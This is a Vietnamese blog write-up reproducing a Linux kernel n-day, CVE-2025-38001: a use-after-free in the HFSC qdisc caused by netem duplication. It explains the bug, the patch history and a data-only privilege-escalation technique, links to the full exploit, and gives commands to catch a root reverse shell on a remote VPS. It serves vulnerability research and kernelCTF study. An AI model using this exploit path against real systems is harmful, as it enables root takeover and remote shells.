---
# System prepended metadata

title: CVE-2025-38001 n-day analysis

---

# CVE-2025-38001 n-day analysis
Full code exploit: [exploit.c](https://raw.githubusercontent.com/khoatran107/cve-2025-38001/refs/heads/main/exploit/lts-6.6.90/exploit.c)

Compile nó chung với [netlink_utils.h](https://github.com/0xdevil/CVE-2025-38001/blob/main/netlink_utils.h).

Chạy, mở `nc -lv <port>` trên một VPS, và:
```bash
./exploit <VPS IP> <port>
```
Chờ một chút sẽ có reverse shell.
![image](https://hackmd.io/_uploads/Sk-aKuH5eg.png)


## Giới thiệu net/sched
### Tổng quan
Đây là một subsystem có nhiều chuối free, cũng ngang hàng với net/sched.

Tuy nhiên, để tương tác được với nó, cần phải có `CAP_NET_ADMIN`. Thường phải dùng unpriviledged usernamespace để có quyển đó, `unshare -Urmin`, khi đó ta sẽ có các net device ảo, có thể gán qdisc tùy ý.

Tuy nhiên, kể từ 1/7/2025, các exploit có dùng usernamespace chỉ hợp lệ cho bản `COS`, với mức thưởng là $10.500, không còn ngon như trước nữa. Và từ khi chuyển sang bản 6.12 vào ngày 15/8, mọi người không mặn mà với `net/sched` nữa, mà nhảy qua `net/tls`.

Cá nhân mình thấy `net/sched` exploit rất hay, có sự tương tác giữa các qdisc, đòi hỏi suy nghĩ kết hợp các loại qdisc với nhau, tạo nên một tổ hợp có thể gây lỗi và exploit từ đó.

### Chi tiết
Vì lượng băng thông mà máy tính ta có được là hữu hạn, ta phải suy nghĩ tới bài toán làm sao để phân bổ chúng cho hợp lý. Và đó là lý do qdisc ra đời.

Một net device luôn có một hệ thống các qdisc, dạng như một cây hierachy, để kiểm soát các gói tin IP (tầng internet trong mô hình `TCP/IP`) đến và đi. Net device chỉ tương tác với root qdisc. Khi ứng dụng gửi gói tin đến net device, nó gọi `root_qdisc->enqueue()`. Khi kernel lấy gói tin từ net device đi, nó gọi `root_qdisc->dequeue()` để trả về gói tin phù hợp và gửi đi.

Một qdisc có thể có class hoặc không. Khi có class thì nhiệm vụ của qdisc là phải đảm bảo tính công bằng trong phân bố băng thông giữa các class đó.

Một class có một hoặc nhiều filter để phân loại gói tin vào. Chẳng hạn, tạo class 1:1 cho các gói tin có destination port là 22 (ssh), 1:2 cho các gói tin có dport là 20 (ftp), rồi phân bổ cho class kia ưu tiên giảm ping, class này chỉ cần bandwidth nhiều để chuyển file.

Ta có thể dùng kết hợp nhiều loại qdisc với nhau. Trong exploit này có dùng TBF, NETEM, và HFSC.

## Tổng quan về HFSC

### Các curve
Ban đầu cách họ dùng từ curve làm mình liên tưởng tới hàm đa thức phi tuyến tính, nhưng "curve" của họ chỉ là hàm 2 nửa đường thẳng có hệ số góc khác nhau.

Hàm lõm có m1 > m2 => giảm delay.
Hàm lồi có m1 < m2 => nhường bandwidth vài giây đầu cho các class dùng hàm lõm.

Có 4 curve quan trọng phục vụ các mục đích khác nhau, mình chia làm 2 cặp, theo mục đích phục vụ:
- Real-time: eligible và deadline.
- Link-sharing: fit time và virtual time.

Eligible curve để tính eligible time, thời gian sớm nhất mà một hfsc_class có thể dequeue packet. Deadline time là thời gian trễ nhất mà một class phải gửi đi packet, để không vi phạm rsc đã được cài đặt. Ta phải luôn chọn leaf class thỏa điều kiện eligible (cl_e < curtime), và có deadline sớm nhất nhất.
Nên ta nghĩ phải có cách duyệt qua các leaf class theo thứ tự cl_e tăng dần => Dùng red-black tree chứa các leaf class với key là cl_e.

Link sharing là một class sử dụng service dưới mức mà nó được quy định, thì lượng service dư thừa đó sẽ được chia cho các sibling của nó. Trong HFSC, virtual time là lượng service một class được hưởng qua link sharing, đã chuẩn hóa để có thể so sánh các class với nhau. Trong trường hợp không có class nào thỏa điều kiện eligible, ta lấy class theo điều kiện link sharing. Và luôn ưu tiên lấy class có virtual time nhỏ nhất. Nhưng vì với virtual time, ta lấy không chỉ leaf class mà còn cả interior class, nên ta sẽ đi từ root xuống theo đường vt nhỏ nhất, tới khi đụng leaf class. Vì vậy với mỗi interior class, ta cần phải duyệt các class con xem cái nào có virtual time nhỏ nhất mà có fit time thỏa <= curtime. Do đó nảy sinh nhu cầu sắp xếp các class con vào red-black tree với virtual time là key.

Giải thích kỹ thì fit-time là kết quả của upper limit service curve, nhằm giới hạn lượng băng thông một class có thể hưởng thụ qua điều kiện link-sharing.

Ta có thể chia các field trong `struct hfsc_class` làm các nhóm:

| Internal SC (không đổi với mỗi class) | Runtime SC (đổi mỗi lần chuyển từ passive sang active) | Value (đổi khi một packet được dequeue) |
| -------- | -------- | -------- |
| cl_rsc, cl_fsc, cl_usc     | cl_deadline, cl_eligible, cl_virtual, cl_ulimit     | cl_e, cl_d, cl_vt, cl_f ...     |

Khi tạo class hfsc, ta đã cố định các internal sc rồi, nó sẽ không đổi trừ khi ta gửi request thay đổi.

Một class gọi là active khi trong queue của nó có nhiều hơn một packet (leaf class), hoặc nếu class con của nó đang active (interior class).

Khi một class được chuyển sang active (tức được enqueue gói tin mới khi queue đang rỗng), thì nó được insert vào 3 cái RB tree: `eltree`, `vttree`, `cftree`.

```C
if (first && !cl->cl_nactive) {
    if (cl->cl_flags & HFSC_RSC)
        init_ed(cl, len);
    if (cl->cl_flags & HFSC_FSC)
        init_vf(cl, len);
    ...
}
```

## Bug này
Nói chung, thì bug là ở dòng if ngoài cùng, cách để xác định xem là cái `cl` đó có phải là đang active hay không.

Nếu nó đang active mà lại if ra nó passive, ta sẽ bị lỗi insert một node vào cây đỏ đen hai lần.

Và các lỗi đều đến từ qdisc `netem` vì logic duplicate của nó gọi lại enqueue của root qdisc.

### Commit "fix" cũ
Trước kia, if đó chỉ có như sau:
```c
first = !cl->qdisc->q.qlen;
err = qdisc_enqueue(skb, cl->qdisc, to_free);
if (unlikely(err != NET_XMIT_SUCCESS)) {
    if (net_xmit_drop_count(err)) {
        cl->qstats.drops++;
        qdisc_qstats_drop(sch);
    }
    return err;
}

if (first) { // here
    if (cl->cl_flags & HFSC_RSC)
        init_ed(cl, len);
    if (cl->cl_flags & HFSC_FSC)
        init_vf(cl, len);
    /*
     * If this is the first packet, isolate the head so an eventual
     * head drop before the first dequeue operation has no chance
     * to invalidate the deadline.
     */
    if (cl->cl_flags & HFSC_RSC)
        cl->qdisc->ops->peek(cl->qdisc);

}
```
Trong đó, nếu cho class 1:1 có qdisc là netem và duplicate 100%, khi gửi một packet, ta có flow gây bug như sau:
```C
hfsc_enqueue()
    cl = hfsc_classify() // Class 1:1
    first = !cl->qdisc->q.qlen // true
    qdisc_enqueue()
        netem_enqueue()
            // Packet duplication is enabled
            skb2 = skb_clone(skb)
            // The duplicate is enqueued in the root qdisc (rootq->enqueue(skb2, ...))
            hfsc_enqueue()
                cl = hfsc_classify() // Class 1:1
                first = !cl->qdisc->q.qlen // true
                qdisc_enqueue()
                    netem_enqueue()
                        // Already a duplicate
                // `first` is true, so the class is inserted into the eltree
                init_ed(cl, len); // The class is inserted into the eltree
                sch->q.qlen++
            // ...
    // `first` is true, so the class is inserted into the eltree
    init_ed(cl, len); // BUG! Class inserted twice!
    sch->q.qlen++
```

Patch commit: [net_sched: hfsc: Fix a UAF vulnerability in class with netem as child qdisc](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ac39fd4a757584d78ed062d4f6fd913f83bd98b5)

Patch lại vô version 6.6.90:
```diff
-- if (first)
++ if (first && !cl->cl_nactive)
```

Nhưng cl_nactive chỉ bị thay đổi bởi `init_vf`. Vẫn config như vậy, flow như vậy, ta trigger được bug =))
```C
hfsc_enqueue()
    cl = hfsc_classify() // Class 1:1
    first = !cl->qdisc->q.qlen // true
    qdisc_enqueue()
        netem_enqueue()
            // Packet duplication is enabled
            skb2 = skb_clone(skb)
            // The duplicate is enqueued in the root qdisc (rootq->enqueue(skb2, ...))
            hfsc_enqueue()
                cl = hfsc_classify() // Class 1:1
                first = !cl->qdisc->q.qlen // true
                qdisc_enqueue()
                    netem_enqueue()
                        // Already a duplicate
                // `first` is true, `cl->cl_natcive` is 0, so the class is inserted into the eltree
                init_ed(cl, len); // The class is inserted into the eltree
                sch->q.qlen++
            // ...
    // `first` is true, `cl->cl_natcive` is 0, so the class is inserted into the eltree
    init_ed(cl, len); // BUG! Class inserted twice!
    sch->q.qlen++
```

### Commit fix đúng

Savino Dicanosa (savy@syst3mfailure.io) và William Liu (will@willsroot.io) đã chỉ ra lỗi trong patch cũ, và patch lại trong commit sau.
[net_sched: hfsc: Address reentrant enqueue adding class to eltree twice
](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=ac9fe7dd8e730a103ae4481147395cc73492d786)
Trong đó, check kỹ hơn về sự hiện diện của class trong các tree, để chắc chắn không có double insert vô cây đỏ đen.

### Variant
Toàn bộ những bug này đều được Gerrard Tai report khi xem cơ chế của `netem` qdisc: [[BUG] net/sched: netem: UAF due to duplication routine](https://lore.kernel.org/netdev/CAHcdcOm+03OD2j6R0=YHKqmy=VgJ8xEOKuP6c7mSgnp-TEJJbw@mail.gmail.com/)
Patch:
- [net_sched: drr: Fix double list add in class with netem as child qdisc
](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ab2248110738d4429668140ad22f530a9ee730e1)
- [net_sched: ets: Fix double list add in class with netem as child qdisc
](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=bc321f714de693aae06e3786f88df2975376d996)
- [net_sched: qfq: Fix double list add in class with netem as child qdisc](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=370218e8ce711684acc4cdd3cc3c6dd7956bc165)

## Exploit

### Setup bằng netlink socket

Một chuyện khó là cách để giao tiếp với các api của net/sched

Nhưng không sao, tác giả rất lương thiện và có một file [netlink_utils.h](https://github.com/0xdevil/CVE-2025-38001/blob/main/netlink_utils.h)

Về cơ bản thì một netlink message tựa tựa json, cũng có key-value, cũng có lồng nhau.

Và subsystem `net/sched` đăng ký listener thông qua `rtnetlink_register`:
```C
// net/sched/sch_api.c:pktsched_init
rtnl_register(PF_UNSPEC, RTM_NEWQDISC, tc_modify_qdisc, NULL, 0);
rtnl_register(PF_UNSPEC, RTM_DELQDISC, tc_get_qdisc, NULL, 0);
rtnl_register(PF_UNSPEC, RTM_GETQDISC, tc_get_qdisc, tc_dump_qdisc,
          0);
rtnl_register(PF_UNSPEC, RTM_NEWTCLASS, tc_ctl_tclass, NULL, 0);
rtnl_register(PF_UNSPEC, RTM_DELTCLASS, tc_ctl_tclass, NULL, 0);
rtnl_register(PF_UNSPEC, RTM_GETTCLASS, tc_ctl_tclass, tc_dump_tclass,
```

Mình dựa trên cái script bash trigger UAF trong KASAN của devel mà viết lại bằng C, không đọc code của author, coi như học cách dùng netlink message.


### Achieve UAF Primitive
Insert một node vào red black tree 2 lần, rồi xóa đi thì đã có UAF struct `hfsc_class` rồi, nhưng nó vẫn trong RB tree.

### Hướng dễ - ROP
Vì `hfsc_class` nằm trong `kmalloc-1k` nữa, nên có thể reclaim bằng `msg_msg`, leak KALSR base bằng EntryBleed, rồi overwrite field `qdisc`, overwrite `qdisc->dequeue` thành pivot gadget, làm y chang những gì mình đã làm trong `CVE-2025-21756`. 

```C 
static struct sk_buff *
hfsc_dequeue(struct Qdisc *sch)
{
	struct hfsc_sched *q = qdisc_priv(sch);
	struct hfsc_class *cl;
	struct sk_buff *skb;
	u64 cur_time;
	unsigned int next_len;
	int realtime = 0;

	if (sch->q.qlen == 0)
		return NULL;

	cur_time = psched_get_time();

	cl = eltree_get_mindl(q, cur_time);
	...
	skb = qdisc_dequeue_peeked(cl->qdisc); //  ***
    
} 

static inline struct sk_buff *qdisc_dequeue_peeked(struct Qdisc *sch)
{
	struct sk_buff *skb = skb_peek(&sch->gso_skb);

	if (skb) {
		...
	} else {
		skb = sch->dequeue(sch); // hijack control flow here
	}

	return skb;
}
```
Nhưng mình sẽ không phí thời gian làm lại cái mình đã làm rồi. Với người ta thường thích data-only attack hơn là hijack control flow rồi đi ROP, vì nó có thể portable cho nhiều version khác nhau.

### Hướng trendy - Data only 
Khúc này trở xuống thật sự là nổ não với những gì author đã làm.
- Do cùng cache `kmalloc-1k`, reclaim `hfsc_class` (0) bằng `struct pgv` (1) => `hfsc_class->el_node.rb_left` bị đè bởi địa chỉ của một page trong pgv (1)
- Dùng các operation trên rb tree để copy `rb_left` đó sang một `pgv` khác => refcount của page đó bị sai => có double free page.
- Free lần 1, reclaim dưới dạng 1 page buffer, vậy là có quyền read & write hoàn toàn trên page đó.
- Free lần 2, reclaim dưới dạng một slab của `struct filp` của `signalfd` để có quyền write 4 byte NULL vào vị trí bất kỳ trong kernel.
- Dùng quyền write đó viết `current->cred` (địa chỉ ở trong `f_cred` của `filp` luôn) viết toàn bộ id trong đó về 0.
- Sau đó ta có quyền root rồi, có thể ghi modprobe path ở file `/proc/sys/kernel/modprobe` thành 1 file ta kiểm soát => revshell root.

#### Bước copy địa chỉ page
Đây là bước khó hiểu nhất trong toàn bộ exploit, cũng là bước quan trọng nhất.

Về quá trình từng bước thì mình không viết lại nữa, do blog gốc đã viết rất kỹ.

Có 2 điểm mình nghĩ là đáng chú ý, khiến cho hướng này có thể hoạt động được:
- Cách cài đặt `rb_tree` của kernel, có đánh dấu màu của node cha thông qua LSbit của địa chỉ `__rb_parent_color`. Nhưng nó cũng không kiểm tra xem các bit còn lại có bị null hay không.
- Không có `assert((parent->rb_left == rb_parent(child)) || (parent->rb_right == rb_parent(child)))` trong các hàm lấy node parent. Tức không kiểm tra cha của con có một đứa con là con hay không. Nên tác giả mới có thể dễ dàng chèn node Evil Grandpa vào cho node C.
- Tóm lại là không kiểm tra `__rb_parent_color` có valid hay không khi sử dụng. Mình nghĩ đây là một điều bình thường khi implement RB-tree. Chỉ là trong trường hợp này nó thành một "quyền" để researcher có thể khai thác. Nếu muốn chắc chắn hơn thì có thể thêm bước validate mỗi khi dùng field `__rb_parent_color`.

Đoạn này thực sự mình phải chấp nhận là mình đọc blog và hiểu nó làm gì, chứ để nghĩ ra từ đầu thì dường như không thể.

#### Bước ghi đè id
Với mỗi lần gọi `signalfd`, ta ghi đè được 4 bytes 0 vào cred hiện tại, như vậy ghi xong nhảy lùi bước 4 byte rồi ghi tiếp là ok, mình thấy không có lí do gì @savy lại nhảy có 2 bytes.

## Vài trick mình đã dùng

### Build lại `tc`, `ip`, `ping`
Đám đó không build static được.
Libc trong filesystem rootfs là 2.31, docker image Ubuntu 20.04 cũng có version đó, mình build lại [iproute2](https://github.com/iproute2/iproute2) để lấy `ip` và `tc`, [iputils](https://github.com/iputils/iputils/tree/master) để lấy `ping`.

### Modprobe_path revshell
Ở khúc cuối, dù đã lên root nhưng vẫn bị kẹt trong một cái namespace. File system vẫn không có flag trong đó. Phải tìm cách escape namespace.

Vì config không có `CONFIG_STATIC_USERMODEHELPER`, nên trick đó vẫn dùng được.

Trong exploit gốc dùng trick cho `modprobe_path` đọc flag vào một memfd của process exploit, rồi từ trong process exploit in flag ra màn hình.

Mình thì không thích kiểu đó lắm, leo quyền thực sự thì phải pop shell root.

Sau một hồi suy nghĩ thì mình thử revshell, và thực sự ăn được.

## Cảm nhận 
Reproduce n-day của người chuyên nghiệp viết blog kỹ là một câu chuyện hoàn toàn khác với lần trước.

Mình không nghĩ tới việc cải thiện gì (trừ chỗ viết đè 4 bytes thay vì 2 bytes). Còn lại, mọi thứ dường như đã hoàn hảo sẵn, chỉ việc làm theo là được.

Cách viết blog cũng rất chi tiết rồi, chỉ cần có kiến thức nền của các qdisc (mà mình dành vài tuần để học), và HFSC (mà mình phải dành vài tuần để đọc paper), thì đọc blog từ trên xuống dưới đều viết đủ ngữ cảnh để dễ dàng hiểu. 
## References
- (1) [[CVE-2025-38001] Exploiting All Google kernelCTF Instances And Debian 12 With A 0-Day For $82k: An RBTree Family Drama (Part One: LTS & COS)](https://syst3mfailure.io/rbtree-family-drama/)